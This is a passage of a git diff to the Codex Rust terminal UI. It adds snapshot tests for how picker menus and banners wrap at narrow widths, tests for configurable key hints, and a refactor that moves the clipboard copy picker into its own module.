.initial_indent(Line::from("")) - .subsequent_indent(Line::from(indent.clone())); - let mut lines = word_wrap_line(&label, label_options) - .into_iter() - .map(line_to_owned) - .collect::>(); - - if let Some(description) = stacked_description(row) { - let description = Line::from(description.dim()); - let description_options = RtOptions::new(width as usize) - .initial_indent(Line::from(indent.clone())) - .subsequent_indent(Line::from(indent)); - lines.extend( - word_wrap_line(&description, description_options) - .into_iter() - .map(line_to_owned), - ); - } - lines -} diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__command_popup__tests__command_popup_wrap_boundary.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__command_popup__tests__command_popup_wrap_boundary.snap new file mode 100644 index 0000000000..6e83f7d70b --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__command_popup__tests__command_popup_wrap_boundary.snap @@ -0,0 +1,60 @@ +--- +source: tui/src/bottom_pane/command_popup.rs +expression: "snapshots.join(\"\\n\\n\")" +--- +width 32 +Buffer { + area: Rect { x: 0, y: 0, width: 32, height: 3 }, + content: [ + " /tier-one Use faster ", + " inference ", + " /tier-two Keep default speed ", + ], + styles: [ + x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 23, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 22, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 3, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 7, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 13, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 31, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + ] +} + +width 33 +Buffer { + area: Rect { x: 0, y: 0, width: 33, height: 2 }, + content: [ + " /tier-one Use faster inference", + " /tier-two Keep default speed ", + ], + styles: [ + x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 3, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 7, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 13, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 31, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + ] +} + +width 34 +Buffer { + area: Rect { x: 0, y: 0, width: 34, height: 2 }, + content: [ + " /tier-one Use faster inference ", + " /tier-two Keep default speed ", + ], + styles: [ + x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 33, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 3, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 7, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 13, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 31, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + ] +} diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__experimental_features_view__tests__experimental_features_keep_following_choice_at_wrap_boundary.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__experimental_features_view__tests__experimental_features_keep_following_choice_at_wrap_boundary.snap new file mode 100644 index 0000000000..39750c5915 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__experimental_features_view__tests__experimental_features_keep_following_choice_at_wrap_boundary.snap @@ -0,0 +1,39 @@ +--- +source: tui/src/bottom_pane/experimental_features_view_tests.rs +expression: "snapshots.join(\"\\n\\n\")" +--- +width=70 + + Experimental features + Checked features are configured on. Some experimental features + take effect only in new tasks or after restarting the Codex + server. + +› [x] First feature A description that fits exactly at this + boundary. + [ ] Last feature Keep this choice visible. + + Press space to select or enter to save + +width=71 + + Experimental features + Checked features are configured on. Some experimental features take + effect only in new tasks or after restarting the Codex server. + +› [x] First feature A description that fits exactly at this + boundary. + [ ] Last feature Keep this choice visible. + + Press space to select or enter to save + +width=72 + + Experimental features + Checked features are configured on. Some experimental features take + effect only in new tasks or after restarting the Codex server. + +› [x] First feature A description that fits exactly at this boundary. + [ ] Last feature Keep this choice visible. + + Press space to select or enter to save diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__picker_tests__shared_menu_presentation_at_wide_and_narrow_sizes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__picker_tests__shared_menu_presentation_at_wide_and_narrow_sizes.snap new file mode 100644 index 0000000000..9266acd434 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__picker_tests__shared_menu_presentation_at_wide_and_narrow_sizes.snap @@ -0,0 +1,48 @@ +--- +source: tui/src/bottom_pane/selection_picker_tests.rs +assertion_line: 103 +expression: "snapshots.join(\"\\n\\n\")" +--- +80x24 + + Choose an option + A menu with descriptions and disabled choices. + + +› 1. Recommended option The description column + is visible when it fits. + 2. A long option label that still wraps at narrow wi… Additional details + Unavailable (disabled) This option needs a + connected server. + + + + + + + + + + + + + + enter select · esc back + +40x16 + + Choose an option + A menu with descriptions and + disabled choices. + + +› 1. Recommended option + 2. A long option label that still + wraps at narrow widths + Unavailable (disabled) + + + + + + enter select · esc back diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap deleted file mode 100644 index 7be4a15595..0000000000 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui/src/bottom_pane/list_selection_view.rs -expression: "render_before_after_scroll_snapshot(ColumnWidthMode::Fixed, 96)" ---- -before scroll: - - Debug - -› 1. Item 1 desc 1 - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 - - -after scroll: - - Debug - - 2. Item 2 desc 2 - 3. Item 3 desc 3 - 4. Item 4 desc 4 - 5. Item 5 desc 5 - 6. Item 6 desc 6 - 7. Item 7 desc 7 - 8. Item 8 desc 8 -› 9. Item 9 with an intent… desc 9 diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__memories_settings_view__tests__reset_confirmation_keeps_both_choices_at_wrap_boundary.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__memories_settings_view__tests__reset_confirmation_keeps_both_choices_at_wrap_boundary.snap new file mode 100644 index 0000000000..a94435ea9b --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__memories_settings_view__tests__reset_confirmation_keeps_both_choices_at_wrap_boundary.snap @@ -0,0 +1,38 @@ +--- +source: tui/src/bottom_pane/memories_settings_view_tests.rs +expression: "snapshots.join(\"\\n\\n\")" +--- +width=70 + + Reset all memories? + +› Reset all memories Delete local memory files and rollout + summaries. + Go back Return to memory settings. + + + + Press enter to confirm or esc to go back + +width=71 + + Reset all memories? + +› Reset all memories Delete local memory files and rollout + summaries. + Go back Return to memory settings. + + + + Press enter to confirm or esc to go back + +width=72 + + Reset all memories? + +› Reset all memories Delete local memory files and rollout summaries. + Go back Return to memory settings. + + + + Press enter to confirm or esc to go back diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__selection_popup_common__tests__description_column_visibility.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__selection_popup_common__tests__description_column_visibility.snap new file mode 100644 index 0000000000..6b019c36b0 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__selection_popup_common__tests__description_column_visibility.snap @@ -0,0 +1,16 @@ +--- +source: tui/src/bottom_pane/selection_popup_common.rs +assertion_line: 838 +expression: "snapshots.join(\"\\n\\n\")" +--- +width=48 +› 1. 日 本 語 + 2. Blocked (disabled) + +width=49 +› 1. 日 本 語 Details + 2. Blocked (disabled) Unavailable + +width=80 +› 1. 日 本 語 Details + 2. Blocked (disabled) Unavailable diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_personal_limit.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_personal_limit.snap index 1b90357356..9c49315ad6 100644 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_personal_limit.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_personal_limit.snap @@ -6,11 +6,13 @@ expression: "render_snapshot(&pane, area)" Usage limit reached Your included usage is depleted. Choose an action to continue. + › 1. Open usage settings 2. View usage 3. Extra action Press a number to choose · esc to dismiss + · type to continue › Ask Codex to do anything diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_workspace_member_credits.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_workspace_member_credits.snap index faf38fd585..5d13c993f2 100644 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_workspace_member_credits.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__backend_banner_workspace_member_credits.snap @@ -6,11 +6,13 @@ expression: "render_snapshot(&pane, area)" Usage limit reached Your included usage is depleted. Choose an action to continue. + › 1. Open usage settings 2. Notify owner 3. Extra action Press a number to choose · esc to dismiss + · type to continue › Ask Codex to do anything diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__inline_banner_wrapped_and_truncated.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__inline_banner_wrapped_and_truncated.snap index 04967785ba..666821024c 100644 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__inline_banner_wrapped_and_truncated.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__inline_banner_wrapped_and_truncated.snap @@ -11,10 +11,12 @@ expression: "render_snapshot(&pane, area)" A long description wraps to fit the available terminal width. … + › 1. Open usage settings 2. Notify owner Press a number to choose · esc to dismiss + · type to continue › Ask Codex to do anything diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_long_urls.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_long_urls.snap index 0bb6e75c61..10ea43099d 100644 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_long_urls.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_long_urls.snap @@ -14,6 +14,7 @@ expression: "render_view_lines(&view, 30)" tion/critical-release-cand idate + › 1. Verify and approve (y) 2. Cancel this request (c) diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_narrow.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_narrow.snap index 730037a306..ca92bb2a24 100644 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_narrow.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_narrow.snap @@ -1,25 +1,12 @@ --- source: tui/src/bottom_pane/user_verification_tests.rs -expression: "render_view_lines(&view, 20)" +expression: "render_view_lines(&view, 40, 8)" --- - Production - deployment needs - your approval. - - Server: - deployments - - Approve - deploying the - reviewed - release? - -› 1. Verify and - approve (y) - 2. Cancel this - request (c) - - Press enter to - confirm or esc to + Production deployment needs your + approval. + [… 7 lines] ctrl+a view all +› 1. Verify and approve (y) + 2. Cancel this request (c) + Press enter to confirm or esc to cancel diff --git a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_prompt.snap index 006d65c8aa..4397ad9692 100644 --- a/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__user_verification__tests__user_verification_prompt.snap @@ -9,6 +9,7 @@ expression: "render_view_lines(&view, 80)" Approve deploying the reviewed release? + › 1. Verify and approve (y) 2. Cancel this request (c) diff --git a/codex-rs/tui/src/bottom_pane/tests/actionable_banner_tests.rs b/codex-rs/tui/src/bottom_pane/tests/actionable_banner_tests.rs index 98646682b4..470c5f2303 100644 --- a/codex-rs/tui/src/bottom_pane/tests/actionable_banner_tests.rs +++ b/codex-rs/tui/src/bottom_pane/tests/actionable_banner_tests.rs @@ -2,6 +2,66 @@ use super::super::actionable_banner::BannerDismissal; use super::*; use pretty_assertions::assert_eq; +#[test] +fn promoted_banner_uses_picker_hints_and_preserves_the_draft() { + let width = 40; + for confirm in [false, true] { + let (tx, mut rx) = unbounded_channel(); + let mut pane = test_pane(AppEventSender::new(tx)); + let mut keymap = RuntimeKeymap::defaults(); + keymap.list.accept = vec![crate::key_hint::plain(KeyCode::F(/*n*/ 3))]; + keymap.list.cancel = vec![crate::key_hint::plain(KeyCode::F(/*n*/ 2))]; + pane.set_keymap_bindings(&keymap); + pane.set_composer_text("draft in progress".into(), Vec::new(), Vec::new()); + pane.handle_key_event(KeyEvent::from(KeyCode::Left)); + let draft = pane.composer.draft_snapshot(); + pane.show_actionable_banner(ActionableBanner { + title: "Usage limit reached".into(), + description: "Review your usage or keep working with another model.".into(), + actions: vec![SelectionItem { + name: "View usage".into(), + dismiss_on_select: true, + actions: vec![Box::new(|tx| { + tx.send(AppEvent::OpenUrlInBrowser { + url: "https://example.com/usage".into(), + }); + })], + ..Default::default() + }], + ..Default::default() + }); + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + pane.desired_height(width), + ); + let rendered = render_snapshot(&pane, area); + assert!(rendered.contains("View usage"), "{rendered}"); + assert!(rendered.contains("f3 select · f2 back"), "{rendered}"); + if confirm { + assert_snapshot!(format!("promoted_action_banner_{width}"), rendered); + } + assert_eq!(pane.composer.draft_snapshot(), draft); + + let key = if confirm { + KeyCode::F(/*n*/ 3) + } else { + KeyCode::F(/*n*/ 2) + }; + pane.handle_key_event(KeyEvent::from(key)); + assert!(pane.view_stack.is_empty()); + assert_eq!(pane.composer.draft_snapshot(), draft); + if confirm { + assert!( + matches!(rx.try_recv(), Ok(AppEvent::OpenUrlInBrowser { url }) + if url == "https://example.com/usage") + ); + } + assert!(rx.try_recv().is_err()); + } +} + #[test] fn hidden_banner_preserves_input_before_render_and_after_resize() { let (tx, mut rx) = unbounded_channel(); diff --git a/codex-rs/tui/src/bottom_pane/tests/picker_hint_tests.rs b/codex-rs/tui/src/bottom_pane/tests/picker_hint_tests.rs new file mode 100644 index 0000000000..5e709191cd --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/tests/picker_hint_tests.rs @@ -0,0 +1,70 @@ +//! Picker hints follow runtime bindings while preserving custom and required-choice policy. + +use super::*; +use pretty_assertions::assert_eq; + +#[test] +fn popup_hints_follow_configured_bindings() { + for (name, params) in [ + ("default", SelectionViewParams::default()), + ("picker", SelectionViewParams::picker()), + ] { + let (tx, _rx) = unbounded_channel(); + let mut pane = test_pane(AppEventSender::new(tx)); + let mut keymap = RuntimeKeymap::defaults(); + keymap.list.accept = vec![crate::key_hint::plain(KeyCode::F(/*n*/ 3))]; + keymap.list.cancel = vec![crate::key_hint::plain(KeyCode::F(/*n*/ 2))]; + pane.set_keymap_bindings(&keymap); + pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, + title: Some("Choose an action".into()), + items: vec![SelectionItem { + name: "Continue".into(), + ..Default::default() + }], + ..params + }); + let width = 60; + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + pane.desired_height(width), + ); + let rendered = render_snapshot(&pane, area); + assert_snapshot!(format!("popup_hint_{name}"), rendered); + assert!(rendered.contains("f3 select · f2 back"), "{rendered}"); + pane.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + assert!(pane.view_stack.is_empty()); + } +} + +#[test] +fn custom_and_noncancelable_popup_hints_keep_their_policy() { + let (tx, _rx) = unbounded_channel(); + let pane = test_pane(AppEventSender::new(tx)); + for (allow_cancel, supplied, expected) in [ + ( + true, + Some(Line::from("custom controls")), + Some(Line::from("custom controls")), + ), + (true, Some(Line::default()), Some(Line::default())), + (false, None, None), + (false, Some(popup_consts::standard_popup_hint_line()), None), + ( + false, + Some(Line::from("custom controls")), + Some(Line::from("custom controls")), + ), + ] { + let mut params = SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, + allow_cancel, + footer_hint: supplied, + ..Default::default() + }; + pane.apply_standard_popup_hint(&mut params); + assert_eq!(params.footer_hint, expected); + } +} diff --git a/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__actionable_banner_tests__promoted_action_banner_40.snap b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__actionable_banner_tests__promoted_action_banner_40.snap new file mode 100644 index 0000000000..2387f527cc --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__actionable_banner_tests__promoted_action_banner_40.snap @@ -0,0 +1,13 @@ +--- +source: tui/src/bottom_pane/tests/actionable_banner_tests.rs +expression: rendered +--- + + Usage limit reached + Review your usage or keep working + with another model. + + +› 1. View usage + + f3 select · f2 back diff --git a/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_default.snap b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_default.snap new file mode 100644 index 0000000000..c99c5c6a9c --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_default.snap @@ -0,0 +1,10 @@ +--- +source: tui/src/bottom_pane/tests/picker_hint_tests.rs +expression: rendered +--- + Choose an action + + +› 1. Continue + + f3 select · f2 back diff --git a/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_legacy.snap b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_legacy.snap new file mode 100644 index 0000000000..d4393e9392 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_legacy.snap @@ -0,0 +1,10 @@ +--- +source: tui/src/bottom_pane/tests/picker_hint_tests.rs +expression: rendered +--- + + Choose an action + +› 1. Continue + + Press f3 to confirm or f2 to go back diff --git a/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_picker.snap b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_picker.snap new file mode 100644 index 0000000000..46d47daad6 --- /dev/null +++ b/codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_picker.snap @@ -0,0 +1,11 @@ +--- +source: tui/src/bottom_pane/tests/picker_hint_tests.rs +expression: rendered +--- + + Choose an action + + +› 1. Continue + + f3 select · f2 back diff --git a/codex-rs/tui/src/bottom_pane/user_verification.rs b/codex-rs/tui/src/bottom_pane/user_verification.rs index 9a4dc2091c..8369d6663b 100644 --- a/codex-rs/tui/src/bottom_pane/user_verification.rs +++ b/codex-rs/tui/src/bottom_pane/user_verification.rs @@ -90,6 +90,7 @@ impl UserVerificationView { .collect(); let header = prompt_header(&request); let params = SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, footer_note: Some( accept_cancel_hint_line( list_keymap.primary_hint(ListAction::Accept), @@ -101,7 +102,9 @@ impl UserVerificationView { ), items, header, - ..Default::default() + header_view_all_hint: approval_keymap + .primary_hint("open_fullscreen", &approval_keymap.open_fullscreen), + ..SelectionViewParams::picker() }; Self { request, diff --git a/codex-rs/tui/src/bottom_pane/user_verification_tests.rs b/codex-rs/tui/src/bottom_pane/user_verification_tests.rs index 89c1603787..601c067fc3 100644 --- a/codex-rs/tui/src/bottom_pane/user_verification_tests.rs +++ b/codex-rs/tui/src/bottom_pane/user_verification_tests.rs @@ -5,8 +5,7 @@ use insta::assert_snapshot; use pretty_assertions::assert_eq; use tokio::sync::mpsc::unbounded_channel; -fn render_view_lines(view: &UserVerificationView, width: u16) -> String { - let height = view.desired_height(width); +fn render_view_lines(view: &UserVerificationView, width: u16, height: u16) -> String { let mut buf = Buffer::empty(Rect::new(0, 0, width, height)); view.render(Rect::new(0, 0, width, height), &mut buf); (0..buf.area.height) @@ -60,16 +59,16 @@ fn prompt_snapshot() { let (view, _app_rx) = make_view(); assert_snapshot!( "user_verification_prompt", - render_view_lines(&view, /*width*/ 80) + render_view_lines(&view, /*width*/ 80, view.desired_height(/*width*/ 80)) ); } #[test] -fn title_wraps_at_narrow_widths() { +fn clipped_prompt_exposes_fullscreen_hint() { let (view, _app_rx) = make_view(); assert_snapshot!( "user_verification_narrow", - render_view_lines(&view, /*width*/ 20) + render_view_lines(&view, /*width*/ 40, /*height*/ 8) ); } @@ -79,7 +78,7 @@ fn waiting_snapshot_and_duplicate_approval_suppression() { view.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE)); assert_snapshot!( "user_verification_waiting", - render_view_lines(&view, /*width*/ 80) + render_view_lines(&view, /*width*/ 80, view.desired_height(/*width*/ 80)) ); view.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE)); assert_eq!( @@ -167,7 +166,7 @@ fn long_url_tokens_remain_visible_in_a_narrow_verification_prompt() { }); assert_snapshot!( "user_verification_long_urls", - render_view_lines(&view, /*width*/ 30) + render_view_lines(&view, /*width*/ 30, view.desired_height(/*width*/ 30)) ); } diff --git a/codex-rs/tui/src/chatwidget.rs b/codex-rs/tui/src/chatwidget.rs index 6fa3681480..4e5c853ff5 100644 --- a/codex-rs/tui/src/chatwidget.rs +++ b/codex-rs/tui/src/chatwidget.rs @@ -123,8 +123,6 @@ use codex_config::types::ApprovalsReviewer; use codex_config::types::Notifications; use codex_connectors::AppInfo; use codex_features::Feature; -#[cfg(test)] -use codex_git_utils::CommitLogEntry; use codex_git_utils::current_branch_name; use codex_git_utils::get_git_repo_root; use codex_git_utils::local_git_branches; @@ -422,13 +420,12 @@ pub(crate) use realtime::tests::activate_voice_for_thread; pub(crate) use realtime::tests::commit_realtime_history_events; mod reasoning_shortcuts; use self::realtime::RealtimeConversationUiState; +mod copy_picker; mod rendering; mod replay; mod review; mod review_popups; use self::review::ReviewState; -#[cfg(test)] -pub(crate) use self::review_popups::show_review_commit_picker_with_entries; mod safety_buffering; mod service_tiers; mod settings; @@ -1092,6 +1089,7 @@ impl ChatWidget { _ => return, }; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some(format!("Enable {name}?")), subtitle: Some(format!("{label} are disabled in this TUI session.")), footer_note: (feature == Feature::MemoryTool).then(|| { @@ -1120,7 +1118,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/copy_picker.rs b/codex-rs/tui/src/chatwidget/copy_picker.rs new file mode 100644 index 0000000000..762906a99e --- /dev/null +++ b/codex-rs/tui/src/chatwidget/copy_picker.rs @@ -0,0 +1,107 @@ +//! Copy targets and bounded previews in the shared picker. +//! +//! Preview truncation never changes the source text or format sent to the clipboard. + +use super::*; +use crate::clipboard_copy::CopyFormat; +use crate::text_formatting::truncate_text; + +impl ChatWidget { + pub(super) fn show_copy_picker(&mut self) { + let mut choices = Vec::new(); + if let Some(status_targets) = &self.transcript.last_status_copy_targets { + choices.push(( + "Whole status".to_string(), + Arc::::from(status_targets.handle.copy_text()), + CopyFormat::PlainText, + )); + choices.extend( + status_targets + .fields + .iter() + .cloned() + .map(|(label, text)| (label, text, CopyFormat::PlainText)), + ); + } else if let Some(markdown) = self + .transcript + .last_agent_markdown + .as_deref() + .filter(|markdown| !markdown.is_empty()) + { + choices.push(( + "Whole response".to_string(), + Arc::::from(markdown), + CopyFormat::Markdown, + )); + let source = self + .transcript + .last_agent_source + .as_deref() + .unwrap_or(markdown); + choices.extend( + crate::markdown::extract_copy_targets(source) + .into_iter() + .filter_map(|target| match target { + crate::markdown::CopyTarget::Code { language, content } => Some(( + language.map_or_else( + || "Code block".to_string(), + |language| format!("{language} code"), + ), + content, + CopyFormat::PlainText, + )), + crate::markdown::CopyTarget::Quote(content) => { + let content: String = content + .split_inclusive('\n') + .map(|line| { + crate::git_action_directives::strip_line_directives(line).0 + }) + .collect(); + (!content.trim().is_empty()).then(|| { + ( + "Blockquote".to_string(), + Arc::from(content), + CopyFormat::PlainText, + ) + }) + } + }), + ); + } + if choices.is_empty() { + self.copy_last_agent_markdown(); + return; + } + + let items = choices + .into_iter() + .map(|(label, text, format)| { + let description = text + .lines() + .find(|line| !line.trim().is_empty()) + .map(|line| truncate_text(line.trim(), /*max_graphemes*/ 72)); + SelectionItem { + name: label.clone(), + description, + actions: vec![Box::new(move |tx| { + tx.send(AppEvent::CopySelection { + text: Arc::clone(&text), + label: label.clone(), + format, + }); + })], + dismiss_on_select: true, + ..Default::default() + } + }) + .collect(); + + self.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, + title: Some("Copy to clipboard".into()), + items, + ..SelectionViewParams::picker() + }); + self.defer_input_until_settings_applied(); + } +} diff --git a/codex-rs/tui/src/chatwidget/goal_menu.rs b/codex-rs/tui/src/chatwidget/goal_menu.rs index a3358c2550..b84cb06473 100644 --- a/codex-rs/tui/src/chatwidget/goal_menu.rs +++ b/codex-rs/tui/src/chatwidget/goal_menu.rs @@ -48,6 +48,7 @@ impl ChatWidget { }); })]; self.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Resume paused goal?".to_string()), subtitle: Some(format!("Goal: {objective}")), footer_hint: Some(standard_popup_hint_line()), @@ -67,7 +68,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/interaction.rs b/codex-rs/tui/src/chatwidget/interaction.rs index c767c8460a..881e4b0b77 100644 --- a/codex-rs/tui/src/chatwidget/interaction.rs +++ b/codex-rs/tui/src/chatwidget/interaction.rs @@ -353,104 +353,6 @@ impl ChatWidget { self.request_redraw(); } - pub(super) fn show_copy_picker(&mut self) { - let mut choices = Vec::new(); - if let Some(status_targets) = &self.transcript.last_status_copy_targets { - choices.push(( - "Whole status".to_string(), - Arc::::from(status_targets.handle.copy_text()), - CopyFormat::PlainText, - )); - choices.extend( - status_targets - .fields - .iter() - .cloned() - .map(|(label, text)| (label, text, CopyFormat::PlainText)), - ); - } else if let Some(markdown) = self - .transcript - .last_agent_markdown - .as_deref() - .filter(|markdown| !markdown.is_empty()) - { - choices.push(( - "Whole response".to_string(), - Arc::::from(markdown), - CopyFormat::Markdown, - )); - let source = self - .transcript - .last_agent_source - .as_deref() - .unwrap_or(markdown); - choices.extend( - crate::markdown::extract_copy_targets(source) - .into_iter() - .filter_map(|target| match target { - crate::markdown::CopyTarget::Code { language, content } => Some(( - language.map_or_else( - || "Code block".to_string(), - |language| format!("{language} code"), - ), - content, - CopyFormat::PlainText, - )), - crate::markdown::CopyTarget::Quote(content) => { - let content: String = content - .split_inclusive('\n') - .map(|line| { - crate::git_action_directives::strip_line_directives(line).0 - }) - .collect(); - (!content.trim().is_empty()).then(|| { - ( - "Blockquote".to_string(), - Arc::from(content), - CopyFormat::PlainText, - ) - }) - } - }), - ); - } - if choices.is_empty() { - self.copy_last_agent_markdown(); - return; - } - - let items = choices - .into_iter() - .map(|(label, text, format)| { - let description = text - .lines() - .find(|line| !line.trim().is_empty()) - .map(|line| line.trim().chars().take(72).collect()); - SelectionItem { - name: label.clone(), - description, - actions: vec![Box::new(move |tx| { - tx.send(AppEvent::CopySelection { - text: Arc::clone(&text), - label: label.clone(), - format, - }); - })], - dismiss_on_select: true, - ..Default::default() - } - }) - .collect(); - - self.show_selection_view(SelectionViewParams { - title: Some("Copy to clipboard".to_string()), - footer_hint: Some(standard_popup_hint_line()), - items, - ..Default::default() - }); - self.defer_input_until_settings_applied(); - } - pub(crate) fn copy_selection(&mut self, text: Arc, label: String, format: CopyFormat) { self.copy_selection_with(&text, &label, |text| { 